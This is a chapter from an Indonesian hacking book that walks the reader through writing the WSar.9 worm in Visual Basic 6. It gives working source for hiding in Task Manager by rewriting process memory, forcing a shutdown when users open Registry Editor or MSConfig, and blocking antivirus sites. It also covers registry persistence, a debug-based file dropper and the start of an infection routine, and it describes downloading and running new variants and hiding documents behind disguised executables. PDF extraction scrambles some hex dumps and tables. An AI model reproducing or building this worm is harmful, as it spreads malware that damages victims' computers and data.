orm dasar 9 menggunakan beberapa metode yang terbilang masih baru di awal tahun 2006. WSar.9 bukan saja akan menghilang dari Task List, tetapi juga memanipulasi Tab Processes pada Task Manager Windows 2000/XP sehingga WSar.9 dapat mengubah nama proses worm menjadi salah satu nama proses pada system seperti "EXPLORER" atau "SVCHOST" yang tentunya tidak akan mencurigakan user.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Worm ini juga melakukan aksi pemblokiran jika user mengakses situs yang mengandung suatu string tertentu pada address-nya, dengan langsung menutup aplikasi browser-nya. Dalam hal ini aplikasi browser yang dapat diblokir adalah Internet Explorer dan Netscape. Pada saat tertentu WSar.9 akan men-download suatu file pada situs tertentu dan langsung mengeksekusinya. Pada tahun 2004, metode ini banyak digunakan worm writer untuk me-release varian baru dan sebagian lagi worm writer memanfaatkan metode ini untuk menyisipkan suatu backdoor. WSar.9 termasuk worm yang terkesan terbuka dan pamer, karena saat WSar.9 menginfeksi suatu system, WSar.9 akan memenuhi komputer tersebut dengan icon bergambar hati. WSar.9 tidak hanya memanipulasi icon My Computer seperti yang dilakukan oleh worm Kangen, tetapi juga pada My Documents, My Network Place, Recycle Bin dan seluruh file yang berekstensi "exe".
15.1 DROP FILE METHODE Metode Drop File adalah suatu metode yang digunakan untuk mengekstrak suatu file tertentu dari file utama. Banyak sekali cara yang dapat digunakan untuk metode Drop File ini dan umumnya cara tersebut selalu diakhiri dengan menggunakan fasilitas debug pada Windows. Contoh berikut ini bertujuan untuk meng-drop file vbs dengan nama WSar.vbs pada drive C dengan isi file sebagai berikut: Bab 15. Worm WSar.9
on error resume next for i = 1 to 10 msgbox "WSar.9 Was Here" next
Berikut ini adalah contoh procedure yang dapat digunakan dalam pengaplikasian metode Drop File.
244
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Sub DropFile() On Error Resume Next Dim MyScript, MyBatch, MyFile As String MyScript = "C:\WSarScript.wsr" MyFile = "C:\WSar.vbs" Open MyScript For Output As #1 Print #1, "N " & MyFile Print #1, "E 0100 6F 6E 20 65 72 Print #1, "E 0110 6E 65 78 74 0D Print #1, "E 0120 74 6F 20 31 30 Print #1, "E 0130 53 61 72 2E 39 Print #1, "E 0140 0A 6E 65 78 74 Print #1, "RCX" Print #1, "45" Print #1, "W" Print #1, "Q" Close #1 MyBatch = "C:\WSarBatch.bat" Open MyBatch For Output As #1 Print #1, "@echo off" Print #1, "debug < " & MyScript Print #1, "del " & MyScript Close #1 Shell(MyBatch, vbNormalFocus) End Sub
72 6F 0A 66 0D 0A 20 57 0D"
72 6F 6D 61
20 72 73 73
72 20 67 20
65 69 62 48
73 20 6F 65
75 3D 78 72
6D 20 20 65
65 31 22 22
20" 20" 57" 0D"
Pada saat procedure DropFile dieksekusi, program akan membuat file "C:\WSarScript.wsr" dengan isi file sebagai berikut: 65 74 31 2E 78
72 0D 30 39 74
72 0A 0D 20 0D
6F 66 0A 57
72 6F 6D 61
20 72 73 73
72 20 67 20
65 69 62 48
73 20 6F 65
75 3D 78 72
6D 20 20 65
65 31 22 22
20 20 57 0D
Kemudian membuat file batch "C:\WSarBatch.bat" dengan isi file sebagai berikut: @echo off debug < C:\WSarScript.wsr del C:\WSarScript.wsr
245
Jasakom
Bab 15. Worm WSar.9
N C:\WSar.vbs E 0100 6F 6E 20 E 0110 6E 65 78 E 0120 74 6F 20 E 0130 53 61 72 E 0140 0A 6E 65 RCX 45 W Q
Computer Worm 1 - Secret of Underground Coding : Uncensored
Procedure kemudian mengeksekusi file "C:\WSarBatch.bat", yang menggunakan fasilitas debug untuk menghasilkan sebuah file baru dari file script "C:\WSarScript.wsr", dengan nama file "C:\WSar.vbs" dan dengan isi file sebagai berikut: on error resume next for i = 1 to 10 msgbox "WSar.9 Was Here" next
Hasil file ternyata identik dengan file aslinya. Berikut ini adalah langkah-langkah untuk membuat file asli (WSar.vbs) menjadi file script (C:\WSarScript.wsr) Buka aplikasi MSDOS / COMMAND / CMD, aktifkan direktori C: dimana file asli berada, kemudian ketik perintah berikut:
Tanda garis datar setelah perintah tersebut menunjukan perintah yang dieksekusi telah benar, sekaligus menjadi prompt dalam perintah debug. Untuk mengetahui besar file tersebut ketik "R" atau "RCX" kemudian tekan enter. Bab 15. Worm WSar.9
246
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Nilai register yang akan kita gunakan adalah CX. Nilai CX 0045 menunjukan bahwa file WSar.vbs memiliki kapasitas sebesar 0045 (hexadecimal) atau 69 bytes (decimal). System perhitungan hexadecimal menggunakan base 16, hexadecimal menggunakan 10 angka pertama dari system desimal: 0, 1, 2, 3, 4, 5, 6, 7, 8, dan 9. Sedangkan angka 10 memiliki 2 digit sehingga dalam hexadecimal diwakilkan dengan huruf A, angka 11 dengan huruf B, 12 dengan C, 13 dengan D, 14 dengan E, dan angka 15 dengan huruf F. Perhatikan contoh tabel konversi decimal (dec) dan hexadecimal (hex) berikut:
Dec 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Hex 0
1
2
3
4
5
6
7
8
9
A
B
C
D
E
F
Dec 16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Hex 10
11
12
13
14
15
16
17
18
19
1A
1B
1C
1D
1E
1F
Dec 32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Hex 20
21
22
23
24
25
26
27
28
29
2A
2B
2C
2D
2E
2F
Dec 64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
Hex 40
41
42
43
44
45
46
47
48
49
4A
4B
4C
4D
4E
4F
Dec 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 Hex 90
91
92
93
94
95
96
97
98
99
9A
9B
9C
9D
9E
9F
Dec 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 Hex A0
A1
A2
A3
A4
A5
A6
A7
A8
A9
AA
AB
AC
AD
AE
AF
Hex F0
F1
F2
F3
F4
F5
F6
F7
F8
F9
FA
FB
FC
FD
FE
FF
Dec 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 Hex 100 101 102 103 104 105 106 107 108 109 10A 10B 10C 10D 10E 10F
247
Jasakom
Bab 15. Worm WSar.9
Dec 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255
Computer Worm 1 - Secret of Underground Coding : Uncensored
Kemudian ketik D dan tekan enter.
Tampilan diatas adalah hex dump dari file WSar.vbs. Tugas kita sekarang adalah mendapatkan isi file WSar.vbs dari hex dump tersebut. Untuk itu tambahkan 0100 pada RCX (0045) sehingga menjadi 0145 (0100 + 0045 = 0145), kemudian ketik D 0100,0145 dan tekan enter (0100 adalah nilai default dan 0145 merupakan hasil dari penjumlahan sebelumnya).
Bab 15. Worm WSar.9
Setelah mendapatkan hex dump yang dicari, copy data tersebut dan paste-kan pada procedure DropFile.
248
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
N C:\WSar.vbs E 0100 6F 6E 20 E 0110 6E 65 78 E 0120 74 6F 20 E 0130 53 61 72 E 0140 0A 6E 65 RCX 45 W Q
65 74 31 2E 78
72 0D 30 39 74
72 0A 0D 20 0D
6F 66 0A 57
72 6F 6D 61
20 72 73 73
72 20 67 20
65 69 62 48
73 20 6F 65
75 3D 78 72
6D 20 20 65
65 31 22 22
20 20 57 0D
Baris pertama pada script diatas dimulai dengan N (Name) dan diikuti dengan nama dan lokasi dimana file tersebut akan dibuat. Baris ke-2 hingga ke-6 adalah data hex dump sebelumnya dengan diberi awalan E (Enter), baris ke-7 adalah instruksi register RCX dan langsung memberikan nilai 45 pada baris berikutnya. Baris ke-9 memberikan instruksi W (Write) dan diakhiri dengan instruksi Q (Quit). Dari contoh yang diberikan diatas dapat diketahui bahwa cara tersebut umumnya menggunakan kapasitas file yang berlipat (hal ini disebabkan file asli dikonversi terlebih dahulu kedalam bentuk hexadecimal yang menggunakan 2 byte untuk mewakili setiap byte dari file asli) dengan proses kompilasi yang terbilang tidak efisien, karena file berupa byte hasil konversi tadi diekstrak menjadi plain text terlebih dahulu, baru kemudian memanfaatkan perintah debug untuk mendapatkan file asli.
Lalu teknik apakah yang digunakan WSar.9 dalam mengaplikasikan metode Drop File?. Dalam bahasa pemrograman Visual Basic 6.0 terdapat fasilitas Resource Files yang dapat memudahkan kita menggunakan metode Drop File. Dengan teknik ini file asli langsung diletakan pada body program sebagai file Res tanpa adanya konversi terlebih dahulu, sehingga kapasitas file asli tidak berlipat, sedangkan Drop File secara sederhana dilakukan hanya dengan meng-ekstrak file tersebut dari file utama, akibatnya kecepatan yang diperoleh jauh lebih baik. Metode ini akan penulis contohkan lebih detil pada pemrograman WSar.9.
249
Jasakom
Bab 15. Worm WSar.9
Walau demikian, ini adalah teknik real yang digunakan para worm writer, termasuk worm Imelda Perkasa yang merupakan salah satu worm lokal dari Indonesia, sehingga penulis tetap memberikan contoh metode Drop File dengan menggunakan fasilitas debug ini.
Computer Worm 1 - Secret of Underground Coding : Uncensored
15.2 ALGORITMA WSar.9 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:
Bab 15. Worm WSar.9
1. Worm menyembunyikan aplikasi file worm dari task list 2. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 3. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup 4. Worm membuat file launcher baru dengan nama yang diambil secara acak setiap kali Windows startup dan menghapus file launcher yang lama 5. Memanipulasi registry untuk mengubah default icon untuk My Computer, Documents, My Network Place, Recycle Bin dan seluruh file yang berekstensi "exe" menjadi icon bergambar hati. Icon tersebut diekstrak dari file utama dengan menggunakan metode Drop File 6. Melakukan shut down (restart) jika user menjalankan aplikasi System Configuration Utility (MSConfig) 7. Melakukan shut down (turn off) jika user menjalankan aplikasi Registry Editor 8. Jika user menjalankan aplikasi Task Manager, maka pada tab Processes, caption process "EXPLORER" diubah menjadi "SVCHOST", sementara caption process worm sendiri diubah menjadi "EXPLORER", selain itu worm mengubah caption "SYSTEM" menjadi "WSarWasHere" 9. Worm akan memblokir web address yang mengandung kata "worm", "virus" dan "removal", dengan langsung mengakhiri aplikasi browser 10. Pada saat tertentu berusaha menginfeksi disket, menukar fungsi tombol pada mouse, menghilangkan tombol Startmenu dan secara otomatis men-download varian baru dari suatu website dan langsung mengeksekusinya
250
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
11. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.9 Ada Pada Komputer Anda", mencari file berekstensi *.doc pada direktori My Documents dan langsung menyembunyikannya, kemudian membuat salinan worm disetiap folder yang dilalui dengan nama file "where my document.doc.exe".
15.3 PEMROGRAMAN Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.9’ Tambahkan 1 buah object ListBox, 3 buah object Timer, 1 buah object Inet, 6 buah module dan 1 buah file res (resource files), kemudian atur properti untuk masing-masing object tersebut sebagai berikut: Properti object Form1 Jenis
Nilai
Keterangan
frmWSar9
Mengatur nama form menjadi frmWSar9
Icon
(Icon)
Pilih icon yang akan digunakan pada form, WSar.9 menggunakan icon word.ico
ShowInTaskbar
False
Tidak menampilkan form pada taskbar
Visible
False
Tidak menampilkan form pada layar.
BorderStyle
None
Tidak memberikan garis tepi pada form
ControlBox
False
Tidak menggunakan control box
Bab 15. Worm WSar.9
Name
Properti object Timer1 Jenis
Nilai
Keterangan
Name
tmrDefender
Mengatur nama Timer menjadi tmrDefender
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
200
Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.2 detik
251
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Properti object Timer2 Jenis
Nilai
Keterangan
Name
tmrBlockUrl
Mengatur nama Timer menjadi tmrBlockUrl
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
1000
Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object Timer3 Jenis
Nilai
Keterangan
Name
tmrMulti
Mengatur nama Timer menjadi tmrWinForce
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
500
Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.5 detik
Properti object List1 Jenis
Nilai
Name
lstDoc
Keterangan Mengatur nama ListBox menjadi lstDoc
Properti Module1 Jenis Bab 15. Worm WSar.9
Name
Nilai
Keterangan
mdlBlockUrl
Mengatur nama module menjadi mdlBlockUrl
Properti Module2 Jenis Name
252
Jasakom
Nilai mdlIseng
Keterangan Mengatur nama module menjadi mdlIseng
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Properti Module3 Jenis Name
Nilai
Keterangan
mdlRegistryAPI
Mengatur nama module menjadi mdlRegistryAPI
Properti Module4 Jenis Name
Nilai mdlRenProcess
Keterangan Mengatur nama module menjadi mdlRenProcess
Properti Module5 Jenis Name
Nilai mdlTurnOff
Keterangan Mengatur nama module menjadi mdlTurnOff
Properti Module6 Jenis Name
Nilai mdlWinCheck
Keterangan Mengatur nama module menjadi mdlWinCheck
1. Klik Project pada menubar, dan pilih Component. Atau dengan menekan kombinasi tombol Ctrl+T. 2. Beri seleksi pada opsi Microsoft Internet Transfer Control 6.0, kemudian klik Close. 3. Klik ganda object Inet pada toolbox untuk memasukannya pada form. Terakhir tambahkan file Res. File yang ditambahkan bisa berupa file apa saja seperti file image, text atau executable. Dalam hal ini WSar.9 memasukan sebuah file icon bergambar hati pada file Res.
253
Jasakom
Bab 15. Worm WSar.9
Kemudian tambahkan object Inet dengan menambahkan komponen Inet pada toolbox terlebih dahulu dengan cara:
Computer Worm 1 - Secret of Underground Coding : Uncensored
Berikut ini adalah langkah-langkah untuk membuat suatu file Res. 1. Klik Add-Ins pada menubar, dan pilih Add-In Manager. Atau dengan menekan kombinasi tombol Alt (tahan) +A +A 2. Pada list Available Add-Ins klik VB 6 Resource Editor, kemudian pada frame Load Bahavior beri check pada opsi Loaded/Unloaded dan opsi Load on Startup, akhiri dengan mengklik tombol OK
Bab 15. Worm WSar.9
3. Klik Tools pada menubar, kemudian klik Resource Editor
254
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
4. Pada jendela VB Resource Editor, klik tombol Add Custom Resource
Bab 15. Worm WSar.9
5. Pada kotak dialog "Open A Custom Resource", cari dan temukan file yang akan dimasukan kedalam file res. Dalam hal ini, icon bergambar hati "heart.ico", kemudian klik Open
6. Pada tree Resource File dapat terlihat sebuah sub tree baru, muncul dibawahnya dengan nama "CUSTOM" dan ID 101. WSar.9 tetap menggunakan nilai ini, namun untuk mengubah nilai ini bisa dilakukan dengan mengklik pada tombol Edit Properties.
255
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Terakhir, simpan file res tersebut dengan mengklik tombol Save. Simpan dengan nama WSar, setelah itu secara otomatis pada Project Explorer muncul sebuah sub tree baru dengan nama Related Documents dan sebuah file res dengan nama WSar.RES. Setelah Anda berhasil menambahkan file icon sebagai resource file, ketik kode program berikut ini pada module mdlBlockUrl:
Bab 15. Worm WSar.9
Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As _ String, ByVal cch As Long) As Long Private Declare Function GetWindow Lib "user32" (ByVal hWnd _ As Long, ByVal wCmd As Long) As Long Private Declare Function GetWindowTextLength Lib "user32" Alias _ "GetWindowTextLengthA" (ByVal hWnd As Long) As Long Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long Private Declare Function GetClassName Lib "user32" Alias _ "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName _ As String, ByVal nMaxCount As Long) As Long Private Declare Function SendMessage Lib "user32" Alias _ "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Any) As Long Global thehwnd As Long Global thesite As String Const GWW_HINSTANCE = (-6) Const GWW_ID = (-12) Const GWL_STYLE = (-16) Const GW_CHILD = 5 Const GW_HWNDFIRST = 0 Const GW_HWNDLAST = 1 Const GW_HWNDNEXT = 2 Const GW_HWNDPREV = 3 Const GW_OWNER = 4 Global Const WM_SETTEXT = &HC Global Const WM_GETTEXT = &HD Global Const WM_GETTEXTLENGTH = &HE Private Declare Function SetWindowText Lib "user32" Alias _ "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As _ String) As Long Private Declare Function ShellExecute Lib "shell32.dll" Alias _ "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As _ String, ByVal lpFile As String, ByVal lpParameters As String, _ ByVal lpDirectory As String, ByVal nShowCmd As Long) As _ Long
256
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Function EditInfo(ByVal window_hwnd As Long) As String Dim txt As String Dim buf As String Dim buflen As Long Dim child_hwnd As Long Dim children() As Long Dim num_children As Integer Dim i As Integer buflen = 256 buf = Space$(buflen - 1) buflen = GetClassName(window_hwnd, buf, buflen) buf = Left$(buf, buflen) If buf = "Edit" Then EditInfo = WindowText(window_hwnd) thehwnd = window_hwnd Exit Function End If
Bab 15. Worm WSar.9
Public Function BlockUrl(ByVal UrlText As String) As Boolean Dim currwnd As Long currwnd = GetWindow(Forms(0).hWnd, GW_HWNDFIRST) While currwnd 0 Length = GetWindowTextLength(currwnd) listitem$ = Space$(Length + 1) Length = GetWindowText(currwnd, listitem$, Length + 1) If Length > 0 Then X = Right$(listitem$, 29) mypos = InStr(1, X, "Microsoft Internet Explorer", 1) If mypos > 1 Then X = EditInfo(currwnd) compare = UrlText mypos = InStr(1, UCase(X), UCase(compare), 1) If mypos >= 1 Then thesite = UrlText Dim K As String K = WindowText(currwnd) AppActivate(K) SendKeys("%{F4}") Exit Function End If End If mypos = InStr(1, X, "Netscape", 1) If mypos > 1 Then X = EditInfo(currwnd) compare = UrlText mypos = InStr(1, UCase(X), UCase(compare), 1) If mypos >= 1 Then thesite = UrlText AppActivate(WindowText(currwnd)) SendKeys("%{F4}") Exit Function End If End If End If currwnd = GetWindow(currwnd, GW_HWNDNEXT) X = DoEvents() End While End Function
257
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
num_children = 0 child_hwnd = GetWindow(window_hwnd, GW_CHILD) Do While child_hwnd 0 num_children = num_children + 1 ReDim Preserve children(1 To num_children) children(num_children) = child_hwnd child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) Loop For i = 1 To num_children txt = EditInfo(children(i)) If txt "" Then Exit For Next i EditInfo = txt End Function Private Function WindowText(ByVal window_hwnd As Long) As String Dim txtlen As Long Dim txt As String WindowText = "" If window_hwnd = 0 Then Exit Function txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, _ 0, 0) If txtlen = 0 Then Exit Function txtlen = txtlen + 1 txt = Space$(txtlen) txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, _ ByVal txt) WindowText = Left$(txt, txtlen) End Function
Ketik kode program berikut ini pada module mdlIseng:
Bab 15. Worm WSar.9
Public Declare Function ShowWindow Lib "user32" (ByVal hWnd _ As Long, ByVal nCmdShow As Long) As Long Public Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long Public Declare Function FindWindowEx Lib "user32" Alias _ "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As _ Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Public Declare Function ShowCursor& Lib "user32" (ByVal bShow _ As Long) Public Declare Function SwapMouseButton& Lib "user32" (ByVal _ bSwap As Long) Public Function StartButton(ByVal View As Boolean) OurParent& = FindWindow("Shell_TrayWnd", "") OurHandle& = FindWindowEx(OurParent&, 0, "Button", _ vbNullString) If View = False Then ShowWindow(OurHandle&, 0) Else ShowWindow(OurHandle&, 5) End If End Function
258
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Ketik kode program berikut ini pada module mdlRenProcess: Option Explicit On Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Declare Function WriteProcessMemory Lib "kernel32" (ByVal _ hProcess As Long, ByVal lpBaseAddress As Any, ByVal _ lpBuffer As Any, ByVal nSize As Long, _ ByVal lpNumberOfBytesWritten As Long) As Long Declare Function ReadProcessMemory Lib "kernel32" (ByVal _ hProcess As Long, ByVal lpBaseAddress As Any, ByVal _ lpBuffer As Any, ByVal nSize As Long, _ ByVal lpNumberOfBytesWritten As Long) As Long Declare Function ProcessNext Lib "kernel32" Alias _ "Process32Next" (ByVal hSnapshot As Long, ByVal uProcess As _ PROCESSENTRY32) As Long Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias _ "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID _ As Long) As Long Public Const TH32CS_SNAPPROCESS As Long = 2& Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * 260 End Type Public myHandle As Long Public myproclist$ Dim p As Long
Private Function InitProcHack(ByVal pid As Long) Dim pHandle pHandle = OpenProcess(&H1F0FFF, False, pid) If (pHandle = 0) Then InitProcHack = False myHandle = 0 Else InitProcHack = True myHandle = pHandle End If End Function
Bab 15. Worm WSar.9
Private Function UNICODE(ByVal PREREP As String) Dim REPIT As String REPIT = "" For p = 1 To Len(PREREP) REPIT = REPIT & Chr(0) & Mid(PREREP, p, 1) Next p UNICODE = REPIT End Function
259
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Private Function DoThat(ByVal PIDX As Long, ByVal OldText As String, _ ByVal NewText As String) Dim i, rsd As Integer If Len(OldText) > Len(NewText) Then rsd = Len(OldText) - Len(NewText) For i = 1 To rsd NewText = NewText & " " Next i End If If Len(OldText) < Len(NewText) Then NewText = NewText & Chr(0) End If DoEvents() If Not InitProcHack(PIDX) Then Exit Function Dim c, startpos As Integer Dim addr As Long Dim buffer As String * 20016 Dim readlen As Long Dim writelen As Long Dim srchstring, repstring As String Dim bytewrite srchstring = UNICODE(OldText) repstring = UNICODE(NewText) DoEvents() For addr = 0 To 4000 Call ReadProcessMemory(myHandle, addr * 20000, buffer, 20016, _ readlen) If readlen > 0 Then startpos = 1 While InStr(startpos, buffer, srchstring) > 0 p = (addr) * 20000 + InStr(startpos, buffer, srchstring) - 1 Call WriteProcessMemory(myHandle, CLng(p), repstring, _ Len(repstring), bytewrite) startpos = InStr(startpos, buffer, Trim(srchstring)) + 1 End While End If Next addr DoEvents() End Function
Bab 15. Worm WSar.9
Public Function RenProcess(ByVal OldText As String, ByVal NewText As String) Dim newproclist As String newproclist = "" Dim myProcess As PROCESSENTRY32 Dim mySnapshot As Long myProcess.dwSize = Len(myProcess) mySnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, _ 0&)
260
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
While ProcessNext(mySnapshot, myProcess) If InStr(1, myproclist$, "[" & _ myProcess.th32ProcessID & "]") = 0 Then If Left(myProcess.szExeFile, InStr(myProcess.szExeFile, Chr(0)) _ - 1) = "taskmgr.exe" Then DoThat(myProcess.th32ProcessID, OldText, NewText) Else DoEvents() End If End If newproclist = newproclist & "[" & myProcess.th32ProcessID & "]" End While End Function
Option Explicit On Private Declare Function ExitWindowsEx Lib "user32" (ByVal _ dwOptions As Long, ByVal dwReserved As Long) As Long Private Declare Function GetCurrentProcess Lib "kernel32" () As _ Long Private Declare Function OpenProcessToken Lib "advapi32" _ (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, _ ByVal TokenHandle As Long) As Long Private Declare Function LookupPrivilegeValue Lib "advapi32" _ Alias "LookupPrivilegeValueA" (ByVal lpSystemName As _ String, ByVal lpName As String, ByVal lpLuid As LUID) As Long Private Declare Function AdjustTokenPrivileges Lib "advapi32" _ (ByVal TokenHandle As Long, ByVal DisableAllPrivileges _ As Long, ByVal NewState As TOKEN_PRIVILEGES, ByVal _ BufferLength As Long, ByVal PreviousState As Any, ByVal ReturnLength _ As Long) As Long Private Declare Function GetVersionEx Lib "kernel32" Alias _ "GetVersionExA" (ByVal lpVersionInformation As OSVERSIONINFO) _ As Long Private Const TOKEN_ADJUST_PRIVILEGES As Long = &H20 Private Const TOKEN_QUERY As Long = &H8 Private Const SE_PRIVILEGE_ENABLED As Long = &H2 Private Const EWX_LOGOFF As Long = &H0 Private Const EWX_SHUTDOWN As Long = &H1 Private Const EWX_REBOOT As Long = &H2 Private Const EWX_FORCE As Long = &H4 Private Const VER_PLATFORM_WIN32_NT As Long = 2 Private Type OSVERSIONINFO OSVSize As Long dwVerMajor As Long dwVerMinor As Long dwBuildNumber As Long PlatformID As Long szCSDVersion As String * 128 End Type
261
Jasakom
Bab 15. Worm WSar.9
Ketik kode program berikut ini pada module mdlTurnOff:
Computer Worm 1 - Secret of Underground Coding : Uncensored
Private Type LUID dwLowPart As Long dwHighPart As Long End Type Private Type LUID_AND_ATTRIBUTES udtLUID As LUID dwAttributes As Long End Type Private Type TOKEN_PRIVILEGES PrivilegeCount As Long laa As LUID_AND_ATTRIBUTES End Type Dim uflags As Long Dim success As Long Private Type POINTAPI X As Long Y As Long End Type Private Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Private Type WINDOWPLACEMENT Length As Long flags As Long ShowCmd As Long ptMinPosition As POINTAPI ptMaxPosition As POINTAPI rcNormalPosition As RECT End Type
Bab 15. Worm WSar.9
Public Enum TurnMethode ShutDown LogOff Restart End Enum Private Function CheckPrivilege() As Boolean #If Win32 Then Dim OSV As OSVERSIONINFO OSV.OSVSize = Len(OSV) If GetVersionEx(OSV) = 1 Then CheckPrivilege = (OSV.PlatformID = _ VER_PLATFORM_WIN32_NT) And (OSV.dwVerMajor >= 4) End If #End If End Function
262
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Public Function TurnOff(ByVal Methode As TurnMethode, ByVal ForceOff As _ Boolean) If Methode = ShutDown Then uflags = EWX_SHUTDOWN End If If Methode = LogOff Then uflags = EWX_LOGOFF End If If Methode = Restart Then uflags = EWX_REBOOT End If If CheckPrivilege() Then success = WithPrivilege() End If If ForceOff = True Then uflags = uflags Or EWX_FORCE If success Then Call ExitWindowsEx(uflags, 0&) Else Call ExitWindowsEx(uflags, 0&) End If End Function
263
Jasakom
Bab 15. Worm WSar.9
Private Function WithPrivilege() As Boolean Dim hProcessHandle As Long Dim hTokenHandle As Long Dim lpv_la As LUID Dim token As TOKEN_PRIVILEGES hProcessHandle = GetCurrentProcess() If hProcessHandle 0 Then If OpenProcessToken(hProcessHandle, _ (TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY), _ hTokenHandle) 0 Then If LookupPrivilegeValue(vbNullString, "SeShutdownPrivilege", _ lpv_la) 0 Then With token .PrivilegeCount = 1 .laa.udtLUID = lpv_la .laa.dwAttributes = SE_PRIVILEGE_ENABLED End With If AdjustTokenPrivileges(hTokenHandle, False, token, ByVal 0&, _ ByVal 0&, ByVal 0&) 0 Then WithPrivilege = True End If End If End If End If End Function
Computer Worm 1 - Secret of Underground Coding : Uncensored
ketik kode program berikut ini pada object frmWSar9: 'WSar.9 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private Declare Function InternetGetConnectedState Lib _ "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As _ Long) As Long Private SF As String * 255 Dim TskActMon As Boolean Dim CPayload As Boolean Dim VarianExist As Boolean Private Sub Form_Load() On Error Resume Next App.TaskVisible = False App.Title = App.EXEName CPayload = False VarianExist = False If App.PrevInstance = True Then End InfectSystem() ChangeIcon() End Sub
Bab 15. Worm WSar.9
Private Sub InfectSystem() On Error Resume Next Dim WSarName As String Dim WSarLast As String Dim WSarPath As String Dim RandomName As String Dim Mins, Maks, RandNo As Long Dim i, a As Long Dim alp As String alp = "0123456789 abcdefghijklmnopqrstuvwxyzABCDEFGHIJ" & _ "LMNOPQRSTUVWXYZ" RandomName = "" WSarName = GetStringValue("HKEY_LOCAL_MACHINE\So" & _ "ftware\Microsoft\Windows\CurrentVersion", "ProductNo") WSarLast = GetStringValue("HKEY_LOCAL_MACHINE\Soft" & _ "ware\Microsoft\Windows\CurrentVersion", "ProductCode") WSarPath = GetStringValue("HKEY_LOCAL_MACHINE\Soft" & _ "ware\Microsoft\Windows\CurrentVersion\Run", WSarName) Mins = 4 Maks = 12 RandNo = Mins + Fix(Rnd * (Maks - Mins + 1))
264
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
